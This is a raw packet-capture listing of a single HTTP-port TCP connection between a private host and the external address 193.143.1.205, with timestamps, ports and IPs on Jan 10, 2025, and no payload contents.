Jan 10, 2025 20:18:25.011070013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.011086941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.011101961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.011102915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.011121035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.011136055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.011152983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.011154890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.011168957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.011174917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.011214972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.011960030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.011976957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.011993885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.012010098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.012021065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.012027025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.012042999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.012044907 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.012058973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.012074947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.012087107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.012114048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.012903929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.012922049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.012938976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.012953997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.012958050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.012975931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.012991905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.013000965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.013008118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.013025999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.013050079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.013072968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.013906956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.013923883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.013941050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.013956070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.013964891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.013973951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.013987064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.013994932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.014003992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.014019966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.014022112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.014065027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.014828920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.014853954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.014870882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.014889002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.014890909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.014905930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.014920950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.014929056 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.014940023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.014955997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.014957905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.015001059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.015719891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.015747070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.015763998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.015786886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.015822887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.015839100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.015853882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.015858889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.015871048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.015887022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.015902996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.015923023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.016834021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.016849041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.016865969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.016880035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.016889095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.016896963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.016911983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.016921043 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.016927958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.016943932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.016958952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.016988993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.017687082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.017703056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.017719984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.017740965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.019809961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.024518967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.034045935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.034065008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.034082890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.034090996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.034101963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.034132957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.072793007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.072813034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.072829962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.072843075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.072880030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.072886944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.072911024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.072928905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.072945118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.072952986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.072962999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.072985888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.073021889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.073039055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.073055029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.073064089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.073098898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.099709034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.099725962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.099744081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.099761009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.099771976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.099805117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.112593889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.112607956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.112623930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.112641096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.112649918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.112660885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.112687111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.112694979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.112704039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.112720013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.112731934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.112735987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.112754107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.112766981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.112768888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.112793922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.112797022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.112837076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.138899088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.138931990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.138948917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.138963938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.138976097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.138991117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139005899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139014959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139023066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139038086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139058113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139071941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139081001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139086962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139102936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139107943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139127970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139143944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139148951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139158010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139173985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139179945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139204979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139209986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139219999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139235973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139252901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139256954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139270067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139288902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139324903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139362097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139372110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139388084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139420986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139431953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139484882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139508963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139518976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139525890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139544964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139561892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139564991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139600039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139621973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139637947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139652967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139682055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139687061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139697075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139714003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139717102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139755964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139830112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139857054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139873028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139897108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.139935970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139960051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139976978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.139988899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.140000105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.140017986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.140100002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.140120983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.140137911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.140149117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.140176058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.140187025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.140203953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.140219927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.140237093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.140243053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.140253067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.140266895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.140269041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.140285969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.140311956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.144071102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144088030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144104004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144114971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.144155979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.144233942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144262075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144279003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144294977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144306898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.144311905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144329071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144336939 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.144345999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144366026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144366980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.144382954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144399881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144417048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144422054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.144433022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144449949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144455910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.144488096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.144586086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144601107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144617081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144629002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.144630909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144654036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.144709110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144723892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144741058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144751072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.144756079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144773960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144774914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.144824028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.144835949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144964933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144980907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.144995928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.145003080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.145011902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.145030975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.145032883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.145046949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.145062923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.145072937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.145087004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.145106077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.145109892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.145136118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.145211935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.145322084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.145338058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.145353079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.145365000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.145370007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.145385981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.145395041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.145401955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.145452023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.146399975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.162744045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.162795067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.162816048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.162830114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.162846088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.162861109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.162874937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.162877083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.162892103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.162899971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.162906885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.162945032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.175935030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.183330059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.204868078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.204900026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.204916954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.204927921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.204932928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.204948902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.204965115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.204972029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.204981089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.204991102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.204997063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.205032110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.206929922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.206943989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.207004070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.207039118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.207094908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.207134962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.207150936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.207166910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.207181931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.207195044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.207197905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.207221985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.207221985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.207241058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.207257032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.207268000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.207273960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.207288980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.207304001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.207308054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.207329988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.207335949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.207371950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.228748083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.228770971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.228780031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.228786945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.228796005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.228802919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.228811979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.228827000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.228902102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.228955984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:18:25.229139090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229162931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:18:25.229178905 CET	80	49699	193.143.1.205	192.168.2.7
